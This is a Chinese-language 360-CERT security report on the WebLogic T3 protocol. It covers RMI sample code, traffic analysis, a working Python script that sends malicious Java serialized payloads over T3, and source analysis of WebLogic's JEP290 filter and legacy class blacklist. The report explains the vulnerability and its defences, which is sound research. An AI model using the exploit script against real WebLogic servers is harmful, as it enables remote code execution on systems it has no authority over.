weblogic t3 协议利用与防御
原创 360-CERT [360CERT](javascript:void(0)???? 4天前
报告编号:B6-2020-032001
报告来源:360-CERT
报告作者:Hu3sky
更新日期:2020-03-20
0x00 前置知识weblogic t3
协议指的是weblogic
的rmi
使用的t3
协议,在java rmi
中,默认rmi
使用的是jrmp
协议,weblogic
包含了高度优化的RMI
实现
在一般的基于jrmp
的rmi
,通信由4个部分组成
客户端对象服务端对象客户端代理对象(stub)服务端代理对象(skeleton)
webLogic
支持动态生成客户端Stub
和服务器端skeleton
,从而无需为RMI
对象生成客户端Stub
和服务器端skeleton
,将对象部署到RMI 注册中心
或JNDI
时,webLogic
将自动生成必要的代理
RMI
注册中心会随着weblogic
服务的启动自动运行。
接下来我们看一个例子来了解weblogic rmi 首先创建一个interface
package com.hu3sky.t3;public interface Hello extends java.rmi.Remote{ public void sayHello() throws java.rmi.RemoteException;;}
实现类
package com.hu3sky.t3;import java.rmi.RemoteException;public class HelloImpl implements Hello { @Override public void sayHello() throws RemoteException { System.out.println("hello"); }}
WebLogic
不需要rmi
对象的实现类扩展 UnicastRemoteObject
。在一般的rmi
对象中是必须要继承UnicastRemoteObject
的
Server端
package com.hu3sky.t3;import javax.naming.*;import java.util.Hashtable;public class Server { // The factory to use when creating our initial context public final static String JNDI_FACTORY="weblogic.jndi.WLInitialContextFactory"; /** * Create an instance of the Implementation class * and bind it in the registry. */ public static void main(String[] args) { try { Context ctx = getInitialContext("t3://127.0.0.1:7001"); ctx.bind("HelloServer", new HelloImpl()); System.out.println("HelloImpl created and bound to the JNDI"); } catch (Exception e) { System.out.println("HelloImpl.main: an exception occurred!"); e.printStackTrace(System.out); } } /* Creates the Initial JNDI Context */ private static InitialContext getInitialContext(String url) throws NamingException { Hashtable env = new Hashtable(); env.put(Context.INITIAL_CONTEXT_FACTORY, JNDI_FACTORY); env.put(Context.PROVIDER_URL, url); return new InitialContext(env); }}
Client端
package com.hu3sky.t3;import java.util.Hashtable;import javax.naming.Context;import javax.naming.InitialContext;import javax.naming.NamingException;public class Client { // Defines the JNDI context factory. public final static String JNDI_FACTORY = "weblogic.jndi.WLInitialContextFactory"; public Client() { } public static void main(String[] args) throws Exception { try { InitialContext ic = getInitialContext("t3://127.0.0.1:7001"); Hello obj = (Hello) ic.lookup("HelloServer"); System.out.println("Successfully connected to HelloServer , call sayHello() : "+obj.sayHello()); } catch (Exception ex) { System.err.println("An exception occurred: " + ex.getMessage()); throw ex; } } private static InitialContext getInitialContext(String url) throws NamingException { Hashtable<String, String> env = new Hashtable<String, String>(); env.put(Context.INITIAL_CONTEXT_FACTORY, JNDI_FACTORY); env.put(Context.PROVIDER_URL, url); return new InitialContext(env); }}
然而,此时还无法直接运行,需要使用WebLogic启动类注册RMI对象
步骤如下:
- 修改项目pom,打包为jar
<?xml version="1.0" encoding="UTF-8"?><project xmlns="http://maven.apache.org/POM/4.0.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd"> <modelVersion>4.0.0</modelVersion> <groupId>com.hu3sky</groupId> <artifactId>t3</artifactId> <version>1.0-SNAPSHOT</version> <build> <plugins> <plugin> <groupId>org.apache.maven.plugins</groupId> <artifactId>maven-compiler-plugin</artifactId> <configuration> <source>1.8</source> <target>1.8</target> </configuration> </plugin> <plugin> <groupId>org.apache.maven.plugins</groupId> <artifactId>maven-jar-plugin</artifactId> <configuration> <archive> <manifest> <addClasspath>true</addClasspath> <useUniqueVersions>false</useUniqueVersions> <classpathPrefix>lib/</classpathPrefix> <mainClass>com.hu3sky.t3.Server</mainClass> </manifest> </archive> </configuration> </plugin> </plugins> </build></project>
- 将jar包复制到域的/lib文件下,重启weblogic即可
成功后查看jndi树,会发现HelloServer成功被加载 接着我们再运行一下Client 成功调用Server
上的sayHello
方法
1.1 分析流量
这是7001
端口上的数据包,红色是客户端向服务器请求数据,蓝色的是服务器返回数据 可以看到发送的第一个数据包为T3协议头,其中第一行为t3
加weblogic
客户端的版本号,weblogic服务器的返回数据的第一行为HELO:
加weblogic
服务器的版本号。weblogic
客户端与服务器发送的数据均以\n\n
结尾。 最后返回Hello World
我们再看下hex,不难发现其中的 ac ed 00 05
序列化魔术头,而且不止一处 通过观察请求数据包,我们可以发现请求的数据包可以分为多个部分,我这里分离出了九个部分 第一部分的前四个字节为整个数据包的长度,第二至九部分均为JAVA序列化数据
其中第二到九部分序列化的类是
weblogic.rjvm.ClassTableEntryweblogic.rjvm.ClassTableEntryweblogic.rjvm.ClassTableEntryweblogic.rjvm.JVMIDweblogic.rjvm.JVMID weblogic.rjvm.ClassTableEntryweblogic.rjvm.ImmutableServiceContextweblogic.rjvm.ImmutableServiceContext
从这里的红框部分开始,为第一个部分,后面的都是以 ac ed 00 05
开头的魔术头的反序列化部分 中间其他部分就省略了
1.2 利用t3协议进行恶意序列化
在编写利用的过程中,需要发送两部分的数据
-
请求包头,也就是
t3 12.2.1\nAS:255\nHL:19\nMS:10000000\nPU:t3://localhost:7001\nLP:DOMAIN\n\n
以
\n
结束 -
序列化数据部分,序列化部分的构成方式有两种:
-
- 第一种生成方式为,将前文所述的weblogic发送的JAVA序列化数据的第二到九部分的JAVA序列化数据的任意一个替换为恶意的序列化数据。
- 第二种生成方式为,将前文所述的weblogic发送的JAVA序列化数据的第一部分与恶意的序列化数据进行拼接
必须先发送T3
协议头数据包,再发送JAVA
序列化数据包,才能使weblogic
进行JAVA
反序列化,进而触发漏洞。如果只发送JAVA
序列化数据包,不先发送T3
协议头数据包,无法触发漏洞
1.3 脚本编写
这里我采取第二种方法进行脚本的编写,思路是:
- 建立socket请求
- 发送t3请求数据头
- 读取恶意序列化数据,将其拼接至第一部分序列化数据之后
- 将前四个字节的长度进行替换
- 发送恶意数据
脚本如下
#!/usr/bin/pythonimport socketimport osimport sysimport structif len(sys.argv) < 3: print 'Usage: python %s <host> <port> </path/to/payload>' % os.path.basename(sys.argv[0]) sys.exit()sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)sock.settimeout(5)server_address = (sys.argv[1], int(sys.argv[2]))print '[+] Connecting to %s port %s' % server_addresssock.connect(server_address)# Send headersheaders='t3 12.2.1\nAS:255\nHL:19\nMS:10000000\nPU:t3://localhost:7001\nLP:DOMAIN\n\n'print 'sending "%s"' % headerssock.sendall(headers)data = sock.recv(1024)print >>sys.stderr, 'received "%s"' % datapayloadObj = open(sys.argv[3],'rb').read()payload = '\x00\x00\x05\xf5\x01\x65\x01\xff\xff\xff\xff\xff\xff\xff\xff\x00\x00\x00\x71\x00\x00\xea\x60\x00\x00\x00\x18\x45\x0b\xfc\xbc\xe1\xa6\x4c\x6e\x64\x7e\xc1\x80\xa4\x05\x7c\x87\x3f\x63\x5c\x2d\x49\x1f\x20\x49\x02\x79\x73\x72\x00\x78\x72\x01\x78\x72\x02\x78\x70\x00\x00\x00\x0c\x00\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x04\x00\x00\x00\x01\x00\x70\x70\x70\x70\x70\x70\x00\x00\x00\x0c\x00\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x04\x00\x00\x00\x01\x00\x70\x06\xfe\x01\x00\x00'payload=payload+payloadObj# adjust header for appropriate message lengthpayload=struct.pack('>I',len(payload)) + payload[4:]print '[+] Sending payload...'sock.send(payload)data = sock.recv(1024)print >>sys.stderr, 'received "%s"' % data
0x02 服务端反序列化部分源码分析
这里只做部分分析,分析的比较浅,如果有地方分析有误还请师傅指出 通过观察log里的错误,可以发现调用栈
java.io.EOFException at weblogic.utils.io.DataIO.readUnsignedByte(DataIO.java:435) at weblogic.utils.io.DataIO.readLength(DataIO.java:829) at weblogic.utils.io.ChunkedDataInputStream.readLength(ChunkedDataInputStream.java:150) at weblogic.utils.io.ChunkedObjectInputStream.readLength(ChunkedObjectInputStream.java:206) at weblogic.rjvm.InboundMsgAbbrev.read(InboundMsgAbbrev.java:43) at weblogic.rjvm.MsgAbbrevJVMConnection.readMsgAbbrevs(MsgAbbrevJVMConnection.java:325) at weblogic.rjvm.MsgAbbrevInputStream.init(MsgAbbrevInputStream.java:219) at weblogic.rjvm.MsgAbbrevJVMConnection.dispatch(MsgAbbrevJVMConnection.java:557) at weblogic.rjvm.t3.MuxableSocketT3.dispatch(MuxableSocketT3.java:666) at weblogic.socket.BaseAbstractMuxableSocket.dispatch(BaseAbstractMuxableSocket.java:397) at weblogic.socket.SocketMuxer.readReadySocketOnce(SocketMuxer.java:993) at weblogic.socket.SocketMuxer.readReadySocket(SocketMuxer.java:929) at weblogic.socket.NIOSocketMuxer.process(NIOSocketMuxer.java:599) at weblogic.socket.NIOSocketMuxer.processSockets(NIOSocketMuxer.java:563) at weblogic.socket.SocketReaderRequest.run(SocketReaderRequest.java:30) at weblogic.socket.SocketReaderRequest.execute(SocketReaderRequest.java:43) at weblogic.kernel.ExecuteThread.execute(ExecuteThread.java:147) at weblogic.kernel.ExecuteThread.run(ExecuteThread.java:119)
或者在idea里进行调试,也能看到调用栈
关于muxer,`WebLogic Server`使用称为复用器(`muxer`)的软件模块来读取服务器上的传入请求和客户端上的传入响应,`SocketMuxer`管理服务器的现有套接字连接。它首先确定哪些套接字具有等待处理的传入请求。然后,它读取足够的数据来确定协议,并根据协议将套接字分配到适当的运行时层。在运行时层,套接字混合器线程确定要使用的执行线程队列,并相应地委派请求
2.1 SocketMuxer初始化
先看到SocketMuxer
初始化。在
调用initSocketMuxerOnServer
,需要返回singleton
的值 该值为makeTheMuxer函数的return值 由于KernelStatus.isServer()
返回true
,所以直接调用getNativeMuxerClassName()
,获取本地muxer
这里根据内核配置获取到的为NIOSocketMuxer
获取完之后,调用muxerClassName
的构造函数 会创建Selector 其中sockets
成员变量来自抽象类SocketMuxer
接着开启 socketReader
线程 看到SocketReaderRequest.run
,getMuxer
返回NIOSocketMuxer
跟进NIOSocketMuxer.processSockets
首先会调用selectFrom
,这里会获取注册过的一些变量,比如sockets
(注册大致如下,就不细说了 )
2.2 分派创建T3 Muxer
接着看process
方法,这里的SelectionKey
键表示了一个特定的通道对象和一个特定的选择器对象之间的注册关系。 ms
是从NIOSocketMuxer
中获取sockets
,这里为MuxableSocketDiscriminator
,用来鉴别套接字,之后再分发给相应的Muxer
跟进readReadySocket
然后调用dispatch
这里会根据我们发送的套接字数据,判断协议,返回t3
接着调用ProtocolHandlerT3.createSocket
,创建相关的 Muxer
调用父类构造方法对channel
等变量进行初始化,接着将connection
变量赋值为T3MsgAbbrevJVMConnection
this.connection.setDispatcher(ConnectionManager.create((RJVMImpl)null), false);
看到ConnectionManager.create
RJVMEnvironment
环境为true
,返回classname
为weblogic.rjvm.ConnectionManagerServer
,也就是dispatcher
,然后调用setDispatcher
设置dispatcher
创建完muxer
之后,移除之前的sockets
,也就是MuxableSocketDiscriminator
,重新注册sockets
为MuxableSocketT3
2.3 T3 Muxer 反序列化socket数据
再次循环调用process
传入ms
,也就是MuxableSocketT3
,跟入readReadySocket
接着调用readReadySocketOnce
往下走,调用dispatch
进行分发 由于MuxableSocketT3
没有无参的dispatch
函数,于是调用父类BaseAbstractMuxableSocket
的dispatch
makeChunkList
返回socket
数据流,作为参数传入dispatch
接着调用T3MsgAbbrevJVMConnection.dispatch
从之前设置的dispatcher
获取incomingMessage
调用connection.readMsgAbbrevs
跟进read
函数 调用readObject
函数 用InboundMsgAbbrev.ServerChannelInputStream
处理数据之后,调用ObjectInpuStream.readObject
造成反序列化
3.1 JEP290机制
JEP290机制是用来过滤传入的序列化数据,以提高安全性,其核心机制是序列化客户端需要实现ObjectInputStream
上的ObjectInputFilter
接口(低于jdk9
的版本是在sun.misc
这个package
下,而jdk9
是在 java.io
这个package
下),利用checkInput
方法来对序列化数据进行检测,如果有任何不合格的检测,Filter
将返回Status.REJECTED
jdk9向下增加jep290机制的jdk版本为
Java™ SE Development Kit 8, Update 121 (JDK 8u121)Java™ SE Development Kit 7, Update 131 (JDK 7u131)Java™ SE Development Kit 6, Update 141 (JDK 6u141)
这里使用测试版本jdk8u221
图上的流程已经很明显了,我们来看看如果被jdk
拦截是什么样子的,这里我随便用了CommonsCollections
的gadget
做测试,使用的测试版本jdk8u221
3.1.1 filterCheck
最终的拦截调用是 readOrdinaryObject->readClassDesc->readNonProxyDesc->filterCheck
这里的ObjectInputFilter
类型变量serialFilter
,serialFilter
的值是作为 JEP290
对序列化数据进行检测的一个格式(里面包含需要做检测的默认值,用分号隔开。包名后面需要带星号,包名或者类名前面带感叹号的话表示黑名单,没有则表示白名单)
具体细则
这里的serialFilter
值如下
maxdepth=100;!org.codehaus.groovy.runtime.ConvertedClosure;!org.codehaus.groovy.runtime.ConversionHandler;!org.codehaus.groovy.runtime.MethodClosure;!org.springframework.transaction.support.AbstractPlatformTransactionManager;!java.rmi.server.UnicastRemoteObject;!java.rmi.server.RemoteObjectInvocationHandler;!com.bea.core.repackaged.springframework.transaction.support.AbstractPlatformTransactionManager;!java.rmi.server.RemoteObject;!org.apache.commons.collections.functors.*;!com.sun.org.apache.xalan.internal.xsltc.trax.*;!javassist.*;!java.rmi.activation.*;!sun.rmi.server.*;!org.jboss.interceptor.builder.*;!org.jboss.interceptor.reader.*;!org.jboss.interceptor.proxy.*;!org.jboss.interceptor.spi.metadata.*;!org.jboss.interceptor.spi.model.*;!com.bea.core.repackaged.springframework.aop.aspectj.*;!com.bea.core.repackaged.springframework.aop.aspectj.annotation.*;!com.bea.core.repackaged.springframework.aop.aspectj.autoproxy.*;!com.bea.core.repackaged.springframework.beans.factory.support.*;!org.python.core.*
3.1.2 serialFilter赋值过程
来看看weblogic
是如何初始化这个值的,weblogic
在启动t3
Server的时候,会进行filter
的初始化,在初始化的时候,首先会实例化JreFilterApiProxy
这个类 这里主要通过反射获取ObjectInputFilter
的方法,当做一个api来使用,同时会调用determineJreFilterSupportLevel
方来判断ObjectInputFilter
的package
接着会调用到weblogic.utils.io.oif.WebLogicFilterConfig
的构造方法
为初始化前,FilterProperties
和BlacklistProperties
都为null
,都返回false
, 于是跟进processDefaultConfiguration
方法
接着调用getDefaultFilterScope
判断当前jdk,我们测试版本是8u221
,返回GLOBAL
接着是constructSerialFilter
,开始对serialFilter
进行赋值,主要是对serialFilter
的格式进行统一 黑名单主要来自DEFAULT_BLACKLIST_CLASSES
和DEFAULT_BLACKLIST_PACKAGES
, serialFilter
的赋值结束后,会通过反射调用ObjectInputFilter.setSerialFilter
,对ObjectInputFilter
接口的serialFilter
赋值 再之后,就是上文的ObjectInputFilter.checkInput
的调用了 具体的检测过程如下 这就是在jep290的机制下的weblogic配合jdk ObjectInputFilter
的一个检测过程,就是一个基于类/包的黑名单检测,还是存在绕过的可能性,比如最近的 CVE-2020-2555
的 gadgets
,可以参考 CVE-2020-2555 漏洞分析
3.2 jdk版本过低没有JEP290机制
接下来,修改启动版本为jdk8u91
先来看日志报错
3.2.1 黑名单赋值
跟进代码看看weblogic
启动t3的时候,依然是跟进到JreFilterApiProxy
determineJreFilterSupportLevel
方法,由于加载不到ObjectInputFilter
,所以直接将FilterSupportLevel
设置为NULL
,也就不会进入到下面的if判断里了,initialized
属性也不会被设置为true
initialized
为false
,返回isJreFilteringAvailable
也为false
接着往下走,依然会实例化WebLogicFilterConfig
,初始化黑名单,这里和jep290有些区别 调用constructLegacyBlacklist
,就是一个将DEFAULT_BLACKLIST_CLASSES
和DEFAULT_BLACKLIST_PACKAGES
赋值给存放黑名单属性的函数,最后赋值给LEGACY_BLACKLIST
属性
3.2.2 resolveClass
在普通的java反序列化的过程中会调用resolveClass
读取反序列化的类名,所以我们可以通过重写ObjectInputStream
对象的resolveClass
方法即可实现对反序列化的校验,来看weblogic
是如何实现的
根据错误日志,定位到weblogic.rjvm.InboundMsgAbbrev$ServerChannelInputStream
。
我们看到反序列化的点 这里将类型转换为ServerChannelInputStream
,该类继承了ObjectInputStream
并且重写了resolveClass
在反序列化的时候,就会优先调用重写的resolveClass
接着跟进checkLegacyBlacklistIfNeeded
这里首先会判断isJreFilteringAvailable
属性(jep290机制下该值为true
,所以不会用这种方法进行检测),然后会调用isBlacklistedLegacy
判断反序列化类是否在黑名单里
最后通过一张“JSON反序列化之殇_看雪安全开发者峰会”的时序图进行总结
0x04 时间线
2020-03-20 360-CERT 发布报告
0x05 参考链接
1.https://docs.oracle.com/middleware/1213/wls/WLRMI/rmi_imp.htm#WLRMI146
2.https://docs.oracle.com/middleware/1213/wls/WLACH/taskhelp/jndi/ViewObjectsInTheJNDITree.html
3.https://foxglovesecurity.com/2015/11/06/what-do-weblogic-websphere-jboss-jenkins-opennms-and-your-application-have-in-common-this-vulnerability/#weblogic
4.http://drops.xmd5.com/static/drops/web-13470.html
5.https://stackoverflow.com/questions/1623692/what-is-weblogic-socket-muxer
6.http://openjdk.java.net/jeps/290
7.https://paper.seebug.org/454/
9.Java_JSON反序列化之殇_看雪安全开发者峰会.pdf
转载自https://mp.weixin.qq.com/s/umATmI0ytI7JeOv9p0g6pg